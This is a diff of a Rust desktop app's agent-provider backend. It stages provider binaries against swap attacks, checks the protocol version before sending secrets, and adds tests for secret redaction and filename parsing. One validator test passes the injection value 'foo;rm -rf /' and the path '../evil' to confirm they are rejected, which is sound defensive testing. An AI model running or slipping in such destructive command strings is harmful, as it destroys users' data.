+    let execution_guard = {
+        use std::os::windows::fs::OpenOptionsExt;
+        std::fs::OpenOptions::new()
+            .read(true)
+            // Permit CreateProcess to read the image while denying replacement,
+            // writes, and deletion until both invocations finish.
+            .share_mode(windows_sys::Win32::Storage::FileSystem::FILE_SHARE_READ)
+            .open(&staged_path)
+    };
+    #[cfg(not(windows))]
+    let execution_guard = std::fs::File::open(&staged_path);
+    let execution_guard = execution_guard
+        .map_err(|error| format!("failed to lock staged provider for execution: {error}"))?;
+    Ok((
+        directory,
+        staged_path,
+        hex::encode(hasher.finalize()),
+        execution_guard,
+    ))
+}
+
+/// Deploy through one immutable staged copy: negotiate protocol v1 before the
+/// secret-bearing request, then invoke deploy on those exact same bytes.
 pub fn provider_deploy(
     binary: &Path,
     agent: &serde_json::Value,
     provider_config: &serde_json::Value,
 ) -> Result<String, String> {
+    let (_directory, staged, _digest, _execution_guard) = stage_provider(binary)?;
+    let info_request = serde_json::json!({
+        "op": "info",
+        "request_id": uuid::Uuid::new_v4().to_string(),
+    });
+    let info = invoke_provider(&staged, &info_request, Duration::from_secs(10))?;
+    validate_provider_info(&info)?;
+
     let request = serde_json::json!({
         "op": "deploy",
         "request_id": uuid::Uuid::new_v4().to_string(),
         "agent": agent,
         "provider_config": provider_config,
     });
-    let resp = invoke_provider(binary, &request, Duration::from_secs(600))?;
+    let resp = invoke_provider(&staged, &request, Duration::from_secs(600))?;
     resp["agent_id"]
         .as_str()
         .map(String::from)
@@ -423,6 +565,24 @@ pub fn validate_provider_config(config: &serde_json::Value) -> Result<(), String
     Ok(())
 }
 
+/// Derive a provider id from the filename Tauri stages at runtime. Tauri
+/// removes its target-triple suffix while copying an external binary, but on
+/// Windows leaves the executable/script extension, which is not part of the
+/// provider id.
+fn provider_id_from_filename(name: &str) -> Option<&str> {
+    let raw = name.strip_prefix("buzz-backend-")?;
+    let id = [".exe", ".bat", ".cmd"]
+        .into_iter()
+        .find_map(|extension| {
+            raw.get(raw.len().saturating_sub(extension.len())..)
+                .filter(|suffix| suffix.eq_ignore_ascii_case(extension))
+                .map(|_| &raw[..raw.len() - extension.len()])
+        })
+        .unwrap_or(raw);
+
+    (!id.is_empty()).then_some(id)
+}
+
 /// Enumerate PATH for buzz-backend-* executables. Returns (id, path) pairs.
 /// Only includes files that are executable. Does NOT execute any binaries.
 ///
@@ -464,10 +624,12 @@ pub fn discover_provider_candidates() -> Vec<(String, PathBuf)> {
         };
         for entry in entries.flatten() {
             let name = entry.file_name().to_string_lossy().to_string();
-            if let Some(id) = name.strip_prefix(prefix) {
-                if !id.is_empty() && !seen.contains(&name) && is_executable(&entry.path()) {
-                    seen.insert(name.clone());
-                    results.push((id.to_string(), entry.path()));
+            if name.starts_with(prefix) {
+                if let Some(id) = provider_id_from_filename(&name) {
+                    if !seen.contains(&name) && is_executable(&entry.path()) {
+                        seen.insert(name.clone());
+                        results.push((id.to_string(), entry.path()));
+                    }
                 }
             }
         }
@@ -538,203 +700,5 @@ pub struct BackendProviderInfo {
 }
 
 #[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn redact_secrets_replaces_nsec() {
-        let s = "key=nsec1abc123def456 other";
-        let r = redact_secrets(s);
-        assert!(r.contains("[REDACTED]"));
-        assert!(!r.contains("nsec1abc123def456"));
-    }
-
-    #[test]
-    fn redact_secrets_replaces_token() {
-        let s = r#"{"token":"sprt_tok_xyz789"}"#;
-        let r = redact_secrets(s);
-        assert!(r.contains("[REDACTED]"));
-        assert!(!r.contains("sprt_tok_xyz789"));
-    }
-
-    #[test]
-    fn redact_secrets_with_extras_scrubs_user_env_values() {
-        // If a provider echoes back a user-supplied API key in its error
-        // output, the desktop must not surface that secret unredacted via
-        // `last_error`. We scrub the literal values that came from the
-        // request's `agent.env_vars`.
-        let secret = "sk-ant-api03-abc123def456";
-        let stderr = format!("auth failed with key {secret} on host api.anthropic.com");
-        let r = redact_secrets_with(&stderr, &[secret]);
-        assert!(r.contains("[REDACTED]"));
-        assert!(!r.contains(secret));
-    }
-
-    #[test]
-    fn redact_secrets_with_extras_skips_short_values() {
-        // Don't scrub values shorter than 4 chars — too noisy.
-        let r = redact_secrets_with("error code: 42", &["42"]);
-        assert!(r.contains("42"));
-    }
-
-    /// GitHub tokens are recognised by shape, so one that never passed through
-    /// our environment — embedded in a remote URL an installer echoes — is
-    /// still scrubbed. The scan runs to the next whitespace or quote, so the
-    /// rest of the URL goes with it; over-redaction is the safe direction.
-    #[test]
-    fn redact_secrets_with_scrubs_github_token_prefixes() {
-        for token in [
-            "ghp_abcdefghij0123456789",
-            "gho_abcdefghij0123456789",
-            "ghu_abcdefghij0123456789",
-            "ghs_abcdefghij0123456789",
-            "ghr_abcdefghij0123456789",
-            "github_pat_abcdefghij0123456789",
-        ] {
-            let r =
-                redact_secrets_with(&format!("cloning https://{token}@github.com/o/r now"), &[]);
-            assert!(!r.contains(token), "leaked {token}: {r}");
-            assert!(r.contains("[REDACTED]"), "got: {r}");
-            assert!(r.contains("cloning"), "scan must stop at whitespace: {r}");
-            assert!(r.ends_with(" now"), "scan must stop at whitespace: {r}");
-        }
-    }
-
-    #[test]
-    fn redact_secrets_with_extras_terminates_when_value_substring_of_marker() {
-        // Regression: an earlier impl used `while let Some(pos) = find(value)`
-        // which never terminates if the user's env value is a substring of
-        // the replacement marker `[REDACTED]` — each replacement
-        // reintroduces the same text. Now uses `str::replace` (single-pass).
-        for value in ["REDACTED", "EDACTE", "REDA", "ACTED"] {
-            let r = redact_secrets_with(&format!("leak={value}"), &[value]);
-            assert!(r.contains("[REDACTED]"));
-        }
-    }
-
-    #[test]
-    fn redact_secrets_with_extras_handles_overlapping_secrets() {
-        // Longer entries get scrubbed first so the substring "abc12" isn't
-        // matched before "abc123" is consumed.
-        let s = "key1=abc123 key2=abc12";
-        let r = redact_secrets_with(s, &["abc12", "abc123"]);
-        assert!(!r.contains("abc123"));
-        assert!(!r.contains("abc12 "));
-    }
-
-    #[test]
-    fn env_secrets_from_request_extracts_string_values() {
-        let req = serde_json::json!({
-            "op": "deploy",
-            "agent": {
-                "env_vars": {
-                    "ANTHROPIC_API_KEY": "sk-ant-test",
-                    "EMPTY": "",
-                    "NUMERIC": 42,
-                },
-            },
-        });
-        let secrets = env_secrets_from_request(&req);
-        assert!(secrets.iter().any(|v| v == "sk-ant-test"));
-        // Empty and non-string values are filtered out.
-        assert_eq!(secrets.len(), 1);
-    }
-
-    #[test]
-    fn env_secrets_from_request_handles_missing_shape() {
-        assert!(env_secrets_from_request(&serde_json::json!({})).is_empty());
-        assert!(env_secrets_from_request(&serde_json::json!({"agent": {}})).is_empty());
-        assert!(
-            env_secrets_from_request(&serde_json::json!({"agent": {"env_vars": null}})).is_empty()
-        );
-    }
-
-    #[test]
-    fn redact_env_values_in_scrubs_map_values() {
-        let mut env = std::collections::BTreeMap::new();
-        env.insert("ANTHROPIC_API_KEY".to_string(), "sk-ant-real".to_string());
-        env.insert("EMPTY".to_string(), String::new());
-        let stderr = "auth=sk-ant-real failed; other context";
-        let r = redact_env_values_in(stderr, &env);
-        assert!(!r.contains("sk-ant-real"));
-        assert!(r.contains("[REDACTED]"));
-    }
-
-    #[test]
-    fn validate_provider_config_rejects_secret_key() {
-        let cfg = serde_json::json!({"api_key": "val"});
-        assert!(validate_provider_config(&cfg).is_err());
-    }
-
-    #[test]
-    fn validate_provider_config_rejects_nested() {
-        let cfg = serde_json::json!({"region": {"us": "east"}});
-        assert!(validate_provider_config(&cfg).is_err());
-    }
-
-    #[test]
-    fn validate_provider_config_accepts_scalars() {
-        let cfg = serde_json::json!({"region": "us-east-1", "tier": "standard"});
-        assert!(validate_provider_config(&cfg).is_ok());
-    }
-
-    #[test]
-    fn validate_provider_config_allows_key_as_substring() {
-        // "keyboard", "monkey" contain "key" as substring but not as a word segment.
-        let cfg = serde_json::json!({"keyboard_layout": "us", "monkey_wrench": "tight"});
-        assert!(validate_provider_config(&cfg).is_ok());
-    }
-
-    #[test]
-    fn validate_provider_config_rejects_camel_case_secrets() {
-        assert!(validate_provider_config(&serde_json::json!({"apiKey": "val"})).is_err());
-        assert!(validate_provider_config(&serde_json::json!({"accessToken": "val"})).is_err());
-        assert!(validate_provider_config(&serde_json::json!({"clientSecret": "val"})).is_err());
-        // ALL-CAPS variants
-        assert!(validate_provider_config(&serde_json::json!({"apiKEY": "val"})).is_err());
-        assert!(validate_provider_config(&serde_json::json!({"accessTOKEN": "val"})).is_err());
-    }
-
-    #[test]
-    fn split_config_key_handles_all_styles() {
-        assert_eq!(split_config_key("apiKey"), vec!["api", "key"]);
-        assert_eq!(split_config_key("access_token"), vec!["access", "token"]);
-        assert_eq!(split_config_key("keyboard"), vec!["keyboard"]);
-        assert_eq!(split_config_key("client-secret"), vec!["client", "secret"]);
-        // Acronym runs stay together
-        assert_eq!(split_config_key("APIKey"), vec!["api", "key"]);
-        assert_eq!(split_config_key("apiKEY"), vec!["api", "key"]);
-        assert_eq!(split_config_key("accessTOKEN"), vec!["access", "token"]);
-        assert_eq!(split_config_key("MyAPIKey"), vec!["my", "api", "key"]);
-    }
-
-    #[test]
-    fn resolve_provider_binary_rejects_invalid_ids() {
-        // Path traversal
-        assert!(resolve_provider_binary("../evil").is_err());
-        // Empty
-        assert!(resolve_provider_binary("").is_err());
-        // Uppercase
-        assert!(resolve_provider_binary("MyProvider").is_err());
-        // Spaces
-        assert!(resolve_provider_binary("my provider").is_err());
-        // Shell metacharacters
-        assert!(resolve_provider_binary("foo;rm -rf /").is_err());
-        // Valid format but not on PATH — should fail with "not found"
-        assert!(resolve_provider_binary("nonexistent-test-id-12345").is_err());
-    }
-
-    #[test]
-    fn resolve_provider_binary_accepts_valid_id_format() {
-        // Valid ID format should pass validation. If the binary happens to
-        // exist on PATH, Ok is returned; otherwise Err contains "not found"
-        // (not "invalid provider ID"). Either outcome proves validation passed.
-        match resolve_provider_binary("zzz-nonexistent-test-provider") {
-            Ok(_) => {} // unlikely but fine — binary exists
-            Err(e) => assert!(
-                e.contains("not found"),
-                "expected 'not found' error, got: {e}"
-            ),
-        }
-    }
-}
+#[path = "backend_tests.rs"]
+mod tests;
diff --git a/desktop/src-tauri/src/managed_agents/backend_tests.rs b/desktop/src-tauri/src/managed_agents/backend_tests.rs
new file mode 100644
index 0000000000..ce1f81466f
--- /dev/null
+++ b/desktop/src-tauri/src/managed_agents/backend_tests.rs
@@ -0,0 +1,452 @@
+use super::*;
+
+#[test]
+fn redact_secrets_replaces_nsec() {
+    let s = "key=nsec1abc123def456 other";
+    let r = redact_secrets(s);
+    assert!(r.contains("[REDACTED]"));
+    assert!(!r.contains("nsec1abc123def456"));
+}
+
+#[test]
+fn redact_secrets_replaces_token() {
+    let s = r#"{"token":"sprt_tok_xyz789"}"#;
+    let r = redact_secrets(s);
+    assert!(r.contains("[REDACTED]"));
+    assert!(!r.contains("sprt_tok_xyz789"));
+}
+
+#[test]
+fn redact_secrets_with_extras_scrubs_user_env_values() {
+    // If a provider echoes back a user-supplied API key in its error
+    // output, the desktop must not surface that secret unredacted via
+    // `last_error`. We scrub the literal values that came from the
+    // request's `agent.env_vars`.
+    let secret = "sk-ant-api03-abc123def456";
+    let stderr = format!("auth failed with key {secret} on host api.anthropic.com");
+    let r = redact_secrets_with(&stderr, &[secret]);
+    assert!(r.contains("[REDACTED]"));
+    assert!(!r.contains(secret));
+}
+
+#[test]
+fn redact_secrets_with_extras_skips_short_values() {
+    // Don't scrub values shorter than 4 chars — too noisy.
+    let r = redact_secrets_with("error code: 42", &["42"]);
+    assert!(r.contains("42"));
+}
+
+/// GitHub tokens are recognised by shape, so one that never passed through
+/// our environment — embedded in a remote URL an installer echoes — is
+/// still scrubbed. The scan runs to the next whitespace or quote, so the
+/// rest of the URL goes with it; over-redaction is the safe direction.
+#[test]
+fn redact_secrets_with_scrubs_github_token_prefixes() {
+    for token in [
+        "ghp_abcdefghij0123456789",
+        "gho_abcdefghij0123456789",
+        "ghu_abcdefghij0123456789",
+        "ghs_abcdefghij0123456789",
+        "ghr_abcdefghij0123456789",
+        "github_pat_abcdefghij0123456789",
+    ] {
+        let r = redact_secrets_with(&format!("cloning https://{token}@github.com/o/r now"), &[]);
+        assert!(!r.contains(token), "leaked {token}: {r}");
+        assert!(r.contains("[REDACTED]"), "got: {r}");
+        assert!(r.contains("cloning"), "scan must stop at whitespace: {r}");
+        assert!(r.ends_with(" now"), "scan must stop at whitespace: {r}");
+    }
+}
+
+#[test]
+fn redact_secrets_with_extras_terminates_when_value_substring_of_marker() {
+    // Regression: an earlier impl used `while let Some(pos) = find(value)`
+    // which never terminates if the user's env value is a substring of
+    // the replacement marker `[REDACTED]` — each replacement
+    // reintroduces the same text. Now uses `str::replace` (single-pass).
+    for value in ["REDACTED", "EDACTE", "REDA", "ACTED"] {
+        let r = redact_secrets_with(&format!("leak={value}"), &[value]);
+        assert!(r.contains("[REDACTED]"));
+    }
+}
+
+#[test]
+fn redact_secrets_with_extras_handles_overlapping_secrets() {
+    // Longer entries get scrubbed first so the substring "abc12" isn't
+    // matched before "abc123" is consumed.
+    let s = "key1=abc123 key2=abc12";
+    let r = redact_secrets_with(s, &["abc12", "abc123"]);
+    assert!(!r.contains("abc123"));
+    assert!(!r.contains("abc12 "));
+}
+
+#[test]
+fn env_secrets_from_request_extracts_string_values() {
+    let req = serde_json::json!({
+        "op": "deploy",
+        "agent": {
+            "env_vars": {
+                "ANTHROPIC_API_KEY": "sk-ant-test",
+                "EMPTY": "",
+                "NUMERIC": 42,
+            },
+        },
+    });
+    let secrets = env_secrets_from_request(&req);
+    assert!(secrets.iter().any(|v| v == "sk-ant-test"));
+    // Empty and non-string values are filtered out.
+    assert_eq!(secrets.len(), 1);
+}
+
+#[test]
+fn env_secrets_from_request_handles_missing_shape() {
+    assert!(env_secrets_from_request(&serde_json::json!({})).is_empty());
+    assert!(env_secrets_from_request(&serde_json::json!({"agent": {}})).is_empty());
+    assert!(env_secrets_from_request(&serde_json::json!({"agent": {"env_vars": null}})).is_empty());
+}
+
+#[test]
+fn redact_env_values_in_scrubs_map_values() {
+    let mut env = std::collections::BTreeMap::new();
+    env.insert("ANTHROPIC_API_KEY".to_string(), "sk-ant-real".to_string());
+    env.insert("EMPTY".to_string(), String::new());
+    let stderr = "auth=sk-ant-real failed; other context";
+    let r = redact_env_values_in(stderr, &env);
+    assert!(!r.contains("sk-ant-real"));
+    assert!(r.contains("[REDACTED]"));
+}
+
+#[test]
+fn env_secrets_from_request_includes_resolved_launch_maps() {
+    let req = serde_json::json!({
+        "agent": {
+            "env_vars": {"LEGACY": "legacy-secret"},
+            "launch": {
+                "env": {"PERSONA": "persona-secret"},
+                "policy_env": {"POLICY": "policy-secret"}
+            }
+        }
+    });
+    let secrets = env_secrets_from_request(&req);
+    assert_eq!(secrets.len(), 3);
+    for secret in ["legacy-secret", "persona-secret", "policy-secret"] {
+        assert!(secrets.iter().any(|candidate| candidate == secret));
+    }
+}
+
+#[cfg(unix)]
+fn write_test_provider(path: &Path, body: &str) {
+    use std::os::unix::fs::PermissionsExt;
+    std::fs::write(path, format!("#!/bin/sh\nset -eu\n{body}\n")).unwrap();
+    std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o700)).unwrap();
+}
+
+#[cfg(unix)]
+#[test]
+fn provider_deploy_negotiates_and_deploys_the_same_staged_bytes() {
+    let directory = tempfile::tempdir().unwrap();
+    let provider = directory.path().join("provider");
+    let log = directory.path().join("invocations");
+    let body = format!(
+        r#"read request
+printf '%s\n' "$0" >> '{}'
+case "$request" in
+  *\"op\":\"info\"*) printf '%s\n' '{{"ok":true,"name":"test","version":"1.0.0","protocol_version":1,"description":"test provider","config_schema":{{}}}}' ;;
+  *\"op\":\"deploy\"*) printf '%s\n' '{{"ok":true,"agent_id":"remote-1"}}' ;;
+esac"#,
+        log.display()
+    );
+    write_test_provider(&provider, &body);
+
+    let id = provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({}))
+        .expect("staged deploy");
+    assert_eq!(id, "remote-1");
+    let paths: Vec<_> = std::fs::read_to_string(log)
+        .unwrap()
+        .lines()
+        .map(str::to_owned)
+        .collect();
+    assert_eq!(paths.len(), 2);
+    assert_eq!(paths[0], paths[1]);
+    assert_ne!(Path::new(&paths[0]), provider);
+    assert!(
+        !Path::new(&paths[0]).exists(),
+        "staging directory must be deleted"
+    );
+}
+
+#[cfg(unix)]
+fn replacement_provider() -> &'static str {
+    r#"#!/bin/sh
+set -eu
+read request
+case "$request" in
+  *\"op\":\"info\"*) printf '%s\n' '{"ok":true,"name":"replacement","version":"9.9.9","protocol_version":1,"description":"replacement provider","config_schema":{}}' ;;
+  *\"op\":\"deploy\"*) printf '%s\n' '{"ok":true,"agent_id":"replacement-bytes-ran"}' ;;
+esac
+"#
+}
+
+#[cfg(unix)]
+#[test]
+fn provider_deploy_uses_staged_bytes_after_same_inode_source_rewrite() {
+    use std::os::unix::fs::MetadataExt;
+
+    let directory = tempfile::tempdir().unwrap();
+    let provider = directory.path().join("provider");
+    let replacement = directory.path().join("replacement");
+    std::fs::write(&replacement, replacement_provider()).unwrap();
+    let body = format!(
+        r#"read request
+case "$request" in
+  *\"op\":\"info\"*)
+    cat '{}' > '{}'
+    chmod 700 '{}'
+    printf '%s\n' '{{"ok":true,"name":"original","version":"1.0.0","protocol_version":1,"description":"original provider","config_schema":{{}}}}'
+    ;;
+  *\"op\":\"deploy\"*) printf '%s\n' '{{"ok":true,"agent_id":"original-staged-bytes"}}' ;;
+esac"#,
+        replacement.display(),
+        provider.display(),
+        provider.display(),
+    );
+    write_test_provider(&provider, &body);
+    let inode_before = std::fs::metadata(&provider).unwrap().ino();
+
+    let id = provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({}))
+        .expect("deploy from immutable staged copy");
+
+    assert_eq!(id, "original-staged-bytes");
+    assert_eq!(
+        std::fs::metadata(&provider).unwrap().ino(),
+        inode_before,
+        "test must rewrite the source binary in place"
+    );
+    assert_eq!(
+        std::fs::read_to_string(&provider).unwrap(),
+        replacement_provider(),
+        "source pathname must contain replacement bytes before deploy"
+    );
+}
+
+#[cfg(unix)]
+#[test]
+fn provider_deploy_uses_staged_bytes_after_source_pathname_replacement() {
+    use std::os::unix::fs::{MetadataExt, PermissionsExt};
+
+    let directory = tempfile::tempdir().unwrap();
+    let provider = directory.path().join("provider");
+    let replacement = directory.path().join("replacement");
+    std::fs::write(&replacement, replacement_provider()).unwrap();
+    std::fs::set_permissions(&replacement, std::fs::Permissions::from_mode(0o700)).unwrap();
+    let body = format!(
+        r#"read request
+case "$request" in
+  *\"op\":\"info\"*)
+    mv '{}' '{}'
+    printf '%s\n' '{{"ok":true,"name":"original","version":"1.0.0","protocol_version":1,"description":"original provider","config_schema":{{}}}}'
+    ;;
+  *\"op\":\"deploy\"*) printf '%s\n' '{{"ok":true,"agent_id":"original-staged-bytes"}}' ;;
+esac"#,
+        replacement.display(),
+        provider.display(),
+    );
+    write_test_provider(&provider, &body);
+    let inode_before = std::fs::metadata(&provider).unwrap().ino();
+
+    let id = provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({}))
+        .expect("deploy from immutable staged copy");
+
+    assert_eq!(id, "original-staged-bytes");
+    assert_ne!(
+        std::fs::metadata(&provider).unwrap().ino(),
+        inode_before,
+        "test must replace the source pathname with a different inode"
+    );
+    assert_eq!(
+        std::fs::read_to_string(&provider).unwrap(),
+        replacement_provider(),
+        "source pathname must contain replacement bytes before deploy"
+    );
+}
+
+#[cfg(unix)]
+#[test]
+fn provider_deploy_refuses_mismatch_before_sending_agent_secret() {
+    let directory = tempfile::tempdir().unwrap();
+    let provider = directory.path().join("provider");
+    let marker = directory.path().join("deploy-received");
+    let body = format!(
+        r#"read request
+case "$request" in
+  *\"op\":\"info\"*) printf '%s\n' '{{"ok":true,"name":"test","version":"2.0.0","protocol_version":2,"description":"test provider","config_schema":{{}}}}' ;;
+  *\"op\":\"deploy\"*) touch '{}'; printf '%s\n' '{{"ok":true,"agent_id":"bad"}}' ;;
+esac"#,
+        marker.display()
+    );
+    write_test_provider(&provider, &body);
+
+    let error = provider_deploy(
+        &provider,
+        &serde_json::json!({"private_key_nsec": "nsec1must-not-cross"}),
+        &serde_json::json!({}),
+    )
+    .unwrap_err();
+    assert!(error.contains("protocol version 2"), "{error}");
+    assert!(!marker.exists());
+    assert!(!error.contains("nsec1must-not-cross"));
+}
+
+#[cfg(unix)]
+#[test]
+fn provider_deploy_requires_an_explicit_integer_protocol_version() {
+    let directory = tempfile::tempdir().unwrap();
+    let provider = directory.path().join("provider");
+    write_test_provider(
+        &provider,
+        r#"read request
+printf '%s\n' '{"ok":true,"version":"1.0.0"}'"#,
+    );
+
+    let error =
+        provider_deploy(&provider, &serde_json::json!({}), &serde_json::json!({})).unwrap_err();
+    assert!(
+        error.contains("missing integer protocol_version"),
+        "{error}"
+    );
+}
+
+#[test]
+fn provider_info_requires_the_complete_flat_wire_shape() {
+    let complete = serde_json::json!({
+        "ok": true,
+        "name": "kubernetes",
+        "version": "1.0.0",
+        "protocol_version": 1,
+        "description": "Kubernetes provider",
+        "config_schema": {}
+    });
+    assert!(validate_provider_info(&complete).is_ok());
+
+    let mut missing = complete.clone();
+    missing.as_object_mut().unwrap().remove("config_schema");
+    assert!(validate_provider_info(&missing)
+        .unwrap_err()
+        .contains("config_schema"));
+
+    let mut nested = complete;
+    nested.as_object_mut().unwrap().insert(
+        "provider".into(),
+        serde_json::json!({"protocol_version": 1}),
+    );
+    assert!(validate_provider_info(&nested)
+        .unwrap_err()
+        .contains("unknown field provider"));
+}
+
+#[test]
+fn validate_provider_config_rejects_secret_key() {
+    let cfg = serde_json::json!({"api_key": "val"});
+    assert!(validate_provider_config(&cfg).is_err());
+}
+
+#[test]
+fn validate_provider_config_rejects_nested() {
+    let cfg = serde_json::json!({"region": {"us": "east"}});
+    assert!(validate_provider_config(&cfg).is_err());
+}
+
+#[test]
+fn validate_provider_config_accepts_scalars() {
+    let cfg = serde_json::json!({"region": "us-east-1", "tier": "standard"});
+    assert!(validate_provider_config(&cfg).is_ok());
+}
+
+#[test]
+fn validate_provider_config_allows_key_as_substring() {
+    // "keyboard", "monkey" contain "key" as substring but not as a word segment.
+    let cfg = serde_json::json!({"keyboard_layout": "us", "monkey_wrench": "tight"});
+    assert!(validate_provider_config(&cfg).is_ok());
+}
+
+#[test]
+fn validate_provider_config_rejects_camel_case_secrets() {
+    assert!(validate_provider_config(&serde_json::json!({"apiKey": "val"})).is_err());
+    assert!(validate_provider_config(&serde_json::json!({"accessToken": "val"})).is_err());
+    assert!(validate_provider_config(&serde_json::json!({"clientSecret": "val"})).is_err());
+    // ALL-CAPS variants
+    assert!(validate_provider_config(&serde_json::json!({"apiKEY": "val"})).is_err());
+    assert!(validate_provider_config(&serde_json::json!({"accessTOKEN": "val"})).is_err());
+}
+
+#[test]
+fn split_config_key_handles_all_styles() {
+    assert_eq!(split_config_key("apiKey"), vec!["api", "key"]);
+    assert_eq!(split_config_key("access_token"), vec!["access", "token"]);
+    assert_eq!(split_config_key("keyboard"), vec!["keyboard"]);
+    assert_eq!(split_config_key("client-secret"), vec!["client", "secret"]);
+    // Acronym runs stay together
+    assert_eq!(split_config_key("APIKey"), vec!["api", "key"]);
+    assert_eq!(split_config_key("apiKEY"), vec!["api", "key"]);
+    assert_eq!(split_config_key("accessTOKEN"), vec!["access", "token"]);
+    assert_eq!(split_config_key("MyAPIKey"), vec!["my", "api", "key"]);
+}
+
+#[test]
+fn provider_filename_strips_the_windows_extension() {
+    assert_eq!(
+        provider_id_from_filename("buzz-backend-kubernetes"),
+        Some("kubernetes")
+    );
+    assert_eq!(
+        provider_id_from_filename("buzz-backend-kubernetes.exe"),
+        Some("kubernetes")
+    );
+    assert_eq!(
+        provider_id_from_filename("buzz-backend-kubernetes.EXE"),
+        Some("kubernetes")
+    );
+    assert_eq!(
+        provider_id_from_filename("buzz-backend-kubernetes.bat"),
+        Some("kubernetes")
+    );
+    assert_eq!(
+        provider_id_from_filename("buzz-backend-kubernetes.CMD"),
+        Some("kubernetes")
+    );
+    assert_eq!(
+        provider_id_from_filename("buzz-backend-my-provider"),
+        Some("my-provider")
+    );
+    assert_eq!(provider_id_from_filename("other"), None);
+}
+
+#[test]
+fn resolve_provider_binary_rejects_invalid_ids() {
+    // Path traversal
+    assert!(resolve_provider_binary("../evil").is_err());
+    // Empty
+    assert!(resolve_provider_binary("").is_err());
+    // Uppercase
+    assert!(resolve_provider_binary("MyProvider").is_err());
+    // Spaces
+    assert!(resolve_provider_binary("my provider").is_err());
+    // Shell metacharacters
+    assert!(resolve_provider_binary("foo;rm -rf /").is_err());
+    // Valid format but not on PATH — should fail with "not found"
+    assert!(resolve_provider_binary("nonexistent-test-id-12345").is_err());
+}
+
+#[test]
+fn resolve_provider_binary_accepts_valid_id_format() {
+    // Valid ID format should pass validation. If the binary happens to
+    // exist on PATH, Ok is returned; otherwise Err contains "not found"
+    // (not "invalid provider ID"). Either outcome proves validation passed.
+    match resolve_provider_binary("zzz-nonexistent-test-provider") {
+        Ok(_) => {} // unlikely but fine — binary exists
+        Err(e) => assert!(
+            e.contains("not found"),
+            "expected 'not found' error, got: {e}"
+        ),
+    }
+}
diff --git a/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs b/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs
index 372d2cfde1..c51f325cf3 100644
--- a/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs
+++ b/desktop/src-tauri/src/managed_agents/config_bridge/reader.rs
@@ -3,15 +3,17 @@ use crate::managed_agents::types::ManagedAgentRecord;
 
 use super::types::*;
 
-/// Build the full config surface for an agent, merging all four tiers.
+/// Build the full config surface for an agent, merging all tiers.
 ///
-/// Pre-spawn (no session cache): tiers 2a (env vars / record) and 2b (config files).
-/// Post-spawn (session cache present): adds tiers 1a (ACP native) and 1b (ACP configOptions).
+/// Inherited values flow through `tiers` — a sanitized snapshot of the
+/// persona and global tiers assembled at the command boundary. Each field
+/// builder constructs its own candidate list and resolves via
+/// `resolve_with_override`.
 pub(crate) fn read_config_surface(
     record: &ManagedAgentRecord,
     runtime_meta: Option<&KnownAcpRuntime>,
     session_cache: Option<&SessionConfigCache>,
-    baseline: Option<(&str, ConfigOrigin)>,
+    tiers: &InheritedConfigTiers,
 ) -> RuntimeConfigSurface {
     let is_pre_spawn = session_cache.is_none();
 
@@ -27,14 +29,7 @@ pub(crate) fn read_config_surface(
         })
         .unwrap_or_else(|| (RuntimeFileConfig::default(), false));
 
-    // Tier 2a: record-level values (Buzz-explicit).
-    let record_model = record.model.clone();
-    let record_provider = record
-        .env_vars
-        .get(runtime_meta.and_then(|m| m.provider_env_var).unwrap_or(""))
-        .cloned()
-        .or_else(|| record.provider.clone()); // structured provider field as fallback
-
+    // Runtime-specific env var keys.
     let supports_acp_model = runtime_meta.is_some_and(|m| m.supports_acp_model_switching);
     let model_env_var = runtime_meta.and_then(|m| m.model_env_var);
     let provider_env_var = runtime_meta.and_then(|m| m.provider_env_var);
@@ -48,10 +43,6 @@ pub(crate) fn read_config_surface(
     let context_limit_env_var = runtime_meta.and_then(|m| m.context_limit_env_var);
 
     // Tier 1b: ACP configOptions from session cache.
-    // For unstable/switchable agents, current_model comes from the `models`
-    // field. For stable agents that only report model via configOptions
-    // (category="model", current_value), fall back to find_config_option_value
-    // so their current model is surfaced in the panel.
     let acp_model = session_cache.and_then(|c| {
         c.current_model
             .clone()
@@ -59,61 +50,53 @@ pub(crate) fn read_config_surface(
     });
     let acp_mode = session_cache.and_then(|c| find_config_option_value(c, "mode"));
     let acp_effort = session_cache.and_then(|c| find_config_option_value(c, "effort"));
-    let record_effort = thinking_env_var
-        .and_then(|k| record.env_vars.get(k))
-        .cloned();
 
     let model_overridden = session_cache.is_some_and(|c| c.model_overridden);
 
     let normalized = NormalizedConfig {
-        model: Some(apply_runtime_override(
-            build_model_field(
-                &record_model,
-                &file_config.model,
-                &acp_model,
-                model_env_var,
-                supports_acp_model,
-                is_pre_spawn,
-                session_cache,
-                required_fields.contains(&"model"),
-            ),
-            acp_model.as_deref(),
-            baseline,
+        model: Some(build_model_field(
+            record,
+            &file_config.model,
+            &acp_model,
+            model_env_var,
+            supports_acp_model,
+            is_pre_spawn,
+            session_cache,
+            required_fields.contains(&"model"),
             model_overridden,
+            tiers,
         )),
         provider: build_provider_field(
-            &record_provider,
+            record,
             &file_config.provider,
             provider_env_var,
             provider_locked,
             required_fields.contains(&"provider"),
+            tiers,
         ),
         mode: build_mode_field(&file_config.mode, &acp_mode, is_pre_spawn, session_cache),
         thinking_effort: build_thinking_field(
-            &record_effort,
+            record,
             &file_config.thinking_effort,
             &acp_effort,
             thinking_env_var,
             is_pre_spawn,
             session_cache,
+            tiers,
         ),
         max_output_tokens: build_numeric_env_field(
             max_tokens_env_var,
-            &record.env_vars,
+            record,
             &file_config.max_output_tokens,
+            tiers,
         ),
         context_limit: build_numeric_env_field(
             context_limit_env_var,
-            &record.env_vars,
+            record,
             &file_config.context_limit,
+            tiers,
         ),
-        system_prompt: build_system_prompt_field(
-            &record
-                .system_prompt
-                .clone()
-                .or_else(|| record.env_vars.get("BUZZ_ACP_SYSTEM_PROMPT").cloned()),
-            &file_config.system_prompt,
-        ),
+        system_prompt: build_system_prompt_field(record, &file_config.system_prompt, tiers),
     };
 
     // Advanced fields from config file extras.
@@ -130,7 +113,7 @@ pub(crate) fn read_config_surface(
         })
         .collect();
 
-    // Collect the env var keys already covered by normalized fields so we don't double-surface them.
+    // Collect the env var keys already covered by normalized fields.
     let normalized_env_keys: Vec<&str> = [
         model_env_var,
         provider_env_var,
